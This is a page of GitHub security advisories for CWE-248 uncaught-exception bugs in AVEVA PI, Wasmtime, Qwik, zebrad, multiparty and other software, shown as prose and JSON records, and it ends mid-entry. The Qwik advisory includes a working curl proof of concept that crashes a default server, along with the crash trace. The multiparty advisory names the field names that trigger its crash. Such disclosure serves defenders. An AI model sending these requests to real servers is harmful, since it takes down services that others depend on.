Common Weakness Enumeration

CWE-248

Allowed

Uncaught Exception

Abstraction: Base · Status: Draft

An exception is thrown from a function, but it is not caught.

607 vulnerabilities reference this CWE, most recent first.

GHSA-QPFX-PHG6-H966

Vulnerability from github – Published: 2025-06-12 21:30 – Updated: 2025-06-12 21:30
VLAI
Details

AVEVA PI Data Archive products are vulnerable to an uncaught exception that, if exploited, could allow an authenticated user to shut down certain necessary PI Data Archive subsystems, resulting in a denial of service. Depending on the timing of the crash, data present in snapshots/write cache may be lost.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-44019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-12T20:15:21Z",
    "severity": "HIGH"
  },
  "details": "AVEVA PI Data Archive products are vulnerable to an uncaught exception that, if \nexploited, could allow an authenticated user to shut down certain \nnecessary PI Data Archive subsystems, resulting in a denial of service. \nDepending on the timing of the crash, data present in snapshots/write \ncache may be lost.",
  "id": "GHSA-qpfx-phg6-h966",
  "modified": "2025-06-12T21:30:31Z",
  "published": "2025-06-12T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44019"
    },
    {
      "type": "WEB",
      "url": "https://my.osisoft.com"
    },
    {
      "type": "WEB",
      "url": "https://www.aveva.com/en/support-and-success/cyber-security-updates"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QQFJ-4VCM-26HV

Vulnerability from github – Published: 2026-04-09 20:22 – Updated: 2026-04-24 21:03
VLAI
Summary
Wasmtime segfault or unused out-of-sandbox load with `f64x2.splat` operator on x86-64
Details

On x86-64 platforms with SSE3 disabled Wasmtime's compilation of the f64x2.splat WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but this data is not visible to WebAssembly guests.

Details

The f64x2.splat operator, when operating on a value loaded from a memory (for example with f64.load), compiles with Cranelift to code on x86-64 without SSE3 that loads 128 bits (16 bytes) rather than the expected 64 bits (8 bytes) from memory. When the address is in-bounds for a (correct) 8-byte load but not an (incorrect) 16-byte load, this can load beyond memory by up to 8 bytes. This can result in three different behaviors depending on Wasmtime's configuration:

  1. If guard pages are disabled then this extra data will be loaded. The extra data is present in the upper bits of a register, but the upper bits are not visible to WebAssembly guests. Actually witnessing this data would require a different bug in Cranelift, of which none are known. Thus in this situation while it's something we're patching in Cranelift it's not a security issue.
  2. If guard pages are enabled, and signals-based-traps are enabled, then this operation will result in a safe WebAssembly trap. The trap is incorrect because the load is not out-of-bounds as defined by WebAssembly, but this mistakenly widened load will load bytes from an unmapped guard page, causing a segfault which is caught and handled as a Wasm trap. In this situation this is not a security issue, but we're patching Cranelift to fix the WebAssembly behavior.
  3. If guard pages are enabled, and signals-based-traps are disabled, then this operation results in an uncaught segfault. Like the previous case with guard pages enabled this will load from an unmapped guard page. Unlike before, however, signals-based-traps are disabled meaning that signal handlers aren't configured. The resulting segfault will, by default, terminate the process. This is a security issue from a DoS perspective, but does not represent an arbitrary read or write from WebAssembly, for example.

Wasmtime's default configuration is case (2) in this case. That means that Wasmtime, by default, incorrectly executes this WebAssembly instruction but does not have insecure behavior.

Impact

If signals-based-traps are disabled and guard pages are enabled then guests can trigger an uncaught segfault in the host, likely aborting the host process. This represents, for example, a DoS vector for WebAssembly guests.

This bug does not affect Wasmtime's default configuration and requires signals-based-traps to be disabled. This bug only affects the x86-64 target with the SSE3 feature disabled and the Cranelift backend (Wasmtime's default backend).

Patches

Wasmtime 24.0.7, 36.0.7, 42.0.2, and 43.0.1 have been issued to fix this bug. Users are recommended to update to these patched versions of Wasmtime.

Workarounds

This bug only affects x86-64 hosts where SSE3 is disabled. If SSE3 is enabled or if a non-x86-64 host is used then hosts are not affect. Otherwise there are no known workarounds to this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "36.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "37.0.0"
            },
            {
              "fixed": "42.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "43.0.0"
            },
            {
              "fixed": "43.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "43.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T20:22:45Z",
    "nvd_published_at": "2026-04-09T19:16:24Z",
    "severity": "MODERATE"
  },
  "details": "On x86-64 platforms with SSE3 disabled Wasmtime\u0027s compilation of the `f64x2.splat` WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it\u0027s possible for out-of-sandbox data to be loaded, but this data is not visible to WebAssembly guests.\n\n### Details\n\nThe `f64x2.splat` operator, when operating on a value loaded from a memory (for example with f64.load), compiles with Cranelift to code on x86-64 without SSE3 that loads 128 bits (16 bytes) rather than the expected 64 bits (8 bytes) from memory. When the address is in-bounds for a (correct) 8-byte load but not an (incorrect) 16-byte load, this can load beyond memory by up to 8 bytes. This can result in three different behaviors depending on Wasmtime\u0027s configuration:\n\n1.  If guard pages are disabled then this extra data will be loaded. The extra data is present in the upper bits of a register, but the upper bits are not visible to WebAssembly guests. Actually witnessing this data would require a different bug in Cranelift, of which none are known. Thus in this situation while it\u0027s something we\u0027re patching in Cranelift it\u0027s not a security issue.\n2. If guard pages are enabled, and [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are enabled, then this operation will result in a safe WebAssembly trap. The trap is incorrect because the load is not out-of-bounds as defined by WebAssembly, but this mistakenly widened load will load bytes from an unmapped guard page, causing a segfault which is caught and handled as a Wasm trap. In this situation this is not a security issue, but we\u0027re patching Cranelift to fix the WebAssembly behavior.\n3. If guard pages are enabled, and [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled, then this operation results in an uncaught segfault. Like the previous case with guard pages enabled this will load from an unmapped guard page. Unlike before, however, signals-based-traps are disabled meaning that signal handlers aren\u0027t configured. The resulting segfault will, by default, terminate the process. This is a security issue from a DoS perspective, but does not represent an arbitrary read or write from WebAssembly, for example.\n\nWasmtime\u0027s default configuration is case (2) in this case. That means that Wasmtime, by default, incorrectly executes this \nWebAssembly instruction but does not have insecure behavior.\n\n### Impact\n\nIf [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled and guard pages are enabled then guests can trigger an uncaught segfault in the host, likely aborting the host process. This represents, for example, a DoS vector for WebAssembly guests.\n\nThis bug does not affect Wasmtime\u0027s default configuration and requires [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) to be disabled. This bug only affects the x86-64 target with the SSE3 feature disabled and the Cranelift backend (Wasmtime\u0027s default backend).\n\n### Patches\n\nWasmtime 24.0.7, 36.0.7, 42.0.2, and 43.0.1 have been issued to fix this bug. Users are recommended to update to these patched versions of Wasmtime.\n\n### Workarounds\n\nThis bug only affects x86-64 hosts where SSE3 is disabled. If SSE3 is enabled or if a non-x86-64 host is used then hosts are not affect. Otherwise there are no known workarounds to this issue.",
  "id": "GHSA-qqfj-4vcm-26hv",
  "modified": "2026-04-24T21:03:37Z",
  "published": "2026-04-09T20:22:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-qqfj-4vcm-26hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34944"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0087.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wasmtime segfault or unused out-of-sandbox load with `f64x2.splat` operator on x86-64 "
}

GHSA-QR9H-J6XG-2J72

Vulnerability from github – Published: 2025-07-09 18:10 – Updated: 2025-07-09 22:37
VLAI
Summary
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
Details

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

PoC

  1. Setup a Qwik Project pnpm create qwik@latest
  2. Start the Qwik Server using pnpm run preview
  3. Execute the following curl command to crash the instance
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

  1. Setup a Qwik Project pnpm create qwik@latest
  2. Install the express middleware pnpm run qwik add express
  3. Build the qwik app using pnpm run build
  4. Start the server using pnpm run serve
  5. Execute the following curl command to crash the instance
curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.

There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@builder.io/qwik-city"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T18:10:29Z",
    "nvd_published_at": "2025-07-09T19:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPossibility to craft a request that will crash the Qwik Server in the default configuration.\n\n### Details\n\nWhen a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.\n\n### PoC\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Start the Qwik Server using `pnpm run preview`\n 3. Execute the following curl command to crash the instance\n```bash\ncurl --location \u0027http://localhost:4173/?qfunc=PPXYallGsCE\u0027 \\\n--header \u0027Content-Type: application/qwik-json\u0027 \\\n--header \u0027X-Qrl: PPXYallGsCE\u0027 \\\n--data \u0027{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}\u0027\n```\n\nHere the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.\n\nThe Qwik Server will then crash with the message\n\n```\nqrl s_PPXYallGsCE failed to load Error: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\nnode:internal/process/promises:289\n            triggerUncaughtException(err, true /* fromPromise */);\n            ^\n\nError: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\n\nNode.js v21.7.2\n```\n\n\nThe same can also be repeated running Qwik in production using express.\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Install the express middleware `pnpm run qwik add express`\n 3. Build the qwik app using `pnpm run build`\n 4. Start the server using `pnpm run serve`\n 5. Execute the following curl command to crash the instance\n```bash\ncurl --location \u0027http://localhost:3000/?qfunc=PPXYallGsCE\u0027 \\\n--header \u0027Content-Type: application/qwik-json\u0027 \\\n--header \u0027X-Qrl: PPXYallGsCE\u0027 \\\n--data \u0027{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}\u0027\n```\n\n### Impact\n\nAny Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.\n\nThere is also the issue that this can happen without a malicious attacker.\nWhen a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.",
  "id": "GHSA-qr9h-j6xg-2j72",
  "modified": "2025-07-09T22:37:21Z",
  "published": "2025-07-09T18:10:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/security/advisories/GHSA-qr9h-j6xg-2j72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/pull/7342"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QwikDev/qwik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/releases/tag/%40builder.io%2Fqwik%401.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Qwik\u0027s unhandled exception vulnerabilty can cause server crashes from malicious requests"
}

GHSA-QV2R-V3MX-F4PF

Vulnerability from github – Published: 2026-07-02 19:28 – Updated: 2026-07-02 19:28
VLAI
Summary
zebrad has full node denial of service via non-ASCII LongPollId in getblocktemplate
Details

Am I affected

You are affected if:

  1. You run zebrad up to and including v4.4.1.
  2. Your zebrad.toml sets rpc.listen_addr to a TCP address (RPC server is enabled).
  3. An attacker can authenticate to the RPC endpoint. With the default enable_cookie_auth = true, this requires the attacker to read the .cookie file. With enable_cookie_auth = false, any network client reaching the RPC port can trigger it.

Summary

The getblocktemplate RPC handler panics when parsing a LongPollId parameter that contains non-ASCII (multi-byte UTF-8) characters. The handler performs byte-index string slicing on the user-supplied string, which panics in Rust when a byte index falls within a multi-byte character boundary. Because Zebra's release profile sets panic = "abort", the panic terminates the entire node process.

Details

The getblocktemplate handler receives a user-supplied LongPollId string and slices it at fixed byte offsets to extract the encoded tip hash and tip height. When the string contains multi-byte UTF-8 characters, a byte-index slice can land in the middle of a character, causing Rust's str indexing to panic with "byte index is not a char boundary."

Under the panic = "abort" release profile, this panic terminates the entire zebrad process rather than just the RPC task.

Patches

zebra-rpc 8.0.0 and zebrad 4.5.0.

Replace byte-index string slicing with character-aware parsing or validate that the LongPollId string contains only ASCII characters before slicing.

Workarounds

  • Disable the RPC server by removing rpc.listen_addr from zebrad.toml.
  • Ensure enable_cookie_auth = true (the default) and restrict filesystem access to the .cookie file.
  • Place a reverse proxy in front of the RPC port that validates LongPollId parameters are ASCII-only before forwarding.

Impact

A single authenticated RPC request terminates the zebrad process. Same impact profile as GHSA-c8w6-x74f-vmg3: repeatable on restart, affects mining pools and infrastructure that forward getblocktemplate calls.

Credit

Reported by @sangsoo-osec via a private GitHub Security Advisory submission.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-rpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:28:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Am I affected\n\nYou are affected if:\n\n1. You run `zebrad` up to and including `v4.4.1`.\n2. Your `zebrad.toml` sets `rpc.listen_addr` to a TCP address (RPC server is enabled).\n3. An attacker can authenticate to the RPC endpoint. With the default `enable_cookie_auth = true`, this requires the attacker to read the `.cookie` file. With `enable_cookie_auth = false`, any network client reaching the RPC port can trigger it.\n\n### Summary\n\nThe `getblocktemplate` RPC handler panics when parsing a `LongPollId` parameter that contains non-ASCII (multi-byte UTF-8) characters. The handler performs byte-index string slicing on the user-supplied string, which panics in Rust when a byte index falls within a multi-byte character boundary. Because Zebra\u0027s release profile sets `panic = \"abort\"`, the panic terminates the entire node process.\n\n### Details\n\nThe `getblocktemplate` handler receives a user-supplied `LongPollId` string and slices it at fixed byte offsets to extract the encoded tip hash and tip height. When the string contains multi-byte UTF-8 characters, a byte-index slice can land in the middle of a character, causing Rust\u0027s `str` indexing to panic with \"byte index is not a char boundary.\"\n\nUnder the `panic = \"abort\"` release profile, this panic terminates the entire `zebrad` process rather than just the RPC task.\n\n### Patches\n\nzebra-rpc 8.0.0 and zebrad 4.5.0.\n\nReplace byte-index string slicing with character-aware parsing or validate that the `LongPollId` string contains only ASCII characters before slicing.\n\n### Workarounds\n\n- Disable the RPC server by removing `rpc.listen_addr` from `zebrad.toml`.\n- Ensure `enable_cookie_auth = true` (the default) and restrict filesystem access to the `.cookie` file.\n- Place a reverse proxy in front of the RPC port that validates `LongPollId` parameters are ASCII-only before forwarding.\n\n### Impact\n\nA single authenticated RPC request terminates the `zebrad` process. Same impact profile as GHSA-c8w6-x74f-vmg3: repeatable on restart, affects mining pools and infrastructure that forward `getblocktemplate` calls.\n\n### Credit\n\nReported by `@sangsoo-osec` via a private GitHub Security Advisory submission.",
  "id": "GHSA-qv2r-v3mx-f4pf",
  "modified": "2026-07-02T19:28:03Z",
  "published": "2026-07-02T19:28:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-qv2r-v3mx-f4pf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/Cargo.toml#L305"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "zebrad has full node denial of service via non-ASCII LongPollId in getblocktemplate"
}

GHSA-QWC4-4MWX-CWRR

Vulnerability from github – Published: 2025-02-03 06:30 – Updated: 2025-02-03 18:30
VLAI
Details

In network HW, there is a possible system hang due to an uncaught exception. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00399035; Issue ID: MSV-2380.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-20637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T04:15:08Z",
    "severity": "HIGH"
  },
  "details": "In network HW, there is a possible system hang due to an uncaught exception. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00399035; Issue ID: MSV-2380.",
  "id": "GHSA-qwc4-4mwx-cwrr",
  "modified": "2025-02-03T18:30:41Z",
  "published": "2025-02-03T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20637"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/February-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXCH-WHHJ-8956

Vulnerability from github – Published: 2026-05-18 17:35 – Updated: 2026-05-18 17:35
VLAI
Summary
multiparty: Denial of Service via Prototype Pollution leads to Uncaught Exception
Details

Impact

multiparty@4.2.3 and lower versions are vulnerable to denial of service via uncaught exception. By sending a multipart/form-data request with a field name that collides with an inherited Object.prototype property (e.g., __proto__, constructor, toString), the parser invokes .push() on the inherited prototype value rather than an array, throwing a TypeError that propagates as an uncaught exception and crashes the process. Any service accepting multipart uploads via multiparty is affected.

Patches

Users should upgrade to multiparty@4.3.0 or higher.

Workarounds

None.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "multiparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:35:01Z",
    "nvd_published_at": "2026-05-12T10:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nmultiparty@4.2.3 and lower versions are vulnerable to denial of service via uncaught exception. By sending a `multipart/form-data` request with a field name that collides with an inherited `Object.prototype` property (e.g., `__proto__`, `constructor`, `toString`), the parser invokes `.push()` on the inherited prototype value rather than an array, throwing a `TypeError` that propagates as an uncaught exception and crashes the process. Any service accepting multipart uploads via multiparty is affected.\n\n### Patches\n\nUsers should upgrade to multiparty@4.3.0 or higher.\n\n### Workarounds\n\nNone.",
  "id": "GHSA-qxch-whhj-8956",
  "modified": "2026-05-18T17:35:01Z",
  "published": "2026-05-18T17:35:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-qxch-whhj-8956"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8161"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/multiparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/releases/tag/v4.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "multiparty: Denial of Service via Prototype Pollution leads to Uncaught Exception"
}

GHSA-R2C9-CCV7-WG9H

Vulnerability from github – Published: 2026-09-29 21:33 – Updated: 2026-09-29 21:33
VLAI
Details

In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdown of the signaling association for the cell. This results in a temporary service disruption until the eNodeB and core network re-establish connectivity.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-96274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-29T20:17:31Z",
    "severity": "HIGH"
  },
  "details": "In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdown of the signaling association for the cell. This results in a temporary service disruption until the eNodeB and core network re-establish connectivity.",
  "id": "GHSA-r2c9-ccv7-wg9h",
  "modified": "2026-09-29T21:33:26Z",
  "published": "2026-09-29T21:33:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96274"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-272-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R2W2-H6R8-3R53

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2023-01-24 15:55
VLAI
Summary
